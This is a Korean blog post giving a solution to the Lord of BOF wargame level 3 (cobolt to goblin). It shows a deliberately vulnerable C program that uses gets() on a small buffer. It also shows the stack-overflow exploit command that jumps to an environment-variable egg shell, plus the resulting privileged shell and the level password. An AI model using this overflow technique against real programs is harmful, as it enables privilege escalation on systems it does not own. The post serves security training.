본문 바로가기
스터디/wargames

[BOF-Wargames] LOB Load of BOF LEVEL3 (cobolt -> goblin) 문제풀이

by 깝태 2011. 8. 16.

[cobolt@localhost cobolt]$ ls
goblin  goblin.c

[cobolt@localhost cobolt]$ ./goblin

[cobolt@localhost cobolt]$ ./goblin aa aa aa

프로그램을 입력해도 아무 응답이 없네열...

[cobolt@localhost cobolt]$ cat goblin.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - goblin
        - small buffer + stdin
*/

int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}

확인해보니 아까와 다른 방식입니다. 이번에는 프로그램을 실행하고 입력하는 방식입니다.
이럴때는 스크립트를 넘겨줄때 다음과 같이 넘겨주어야 합니다.

(python -c 'print "\x90"*100';cat)|./attackme

이번에는 환경변수를 이용해 문제를 풀어보도록 하겠습니다. 일단 에그쉘과 에그쉘의 정확한 주소를 알아내는
소스를 짜야됩니다. 그에 대한 내용은 자세히 설명하지 않고 넘어가겠습니다.

일단 에그쉘을 사용해 실행시키고 에그쉘 주소까지 알아냈다면 공격해봅시다.

#include<stdio.h>

int main(void)
{
        printf("0x%x\n", getenv("EGG"));
}

이 소스를 이용해 EGG 환경변수의 주소를 알아내었다.

[cobolt@localhost cobolt]$ (python -c 'print "\x90"*20 + "\xd2\xf5\xff\xbf"';cat)|./goblin
Òõÿ¿
*BRAVO!! congratulation~*
*http://blueh4g.org*

id
uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt)

my-pass
euid = 503
hackers proof

성공적으로 정답을 풀었다.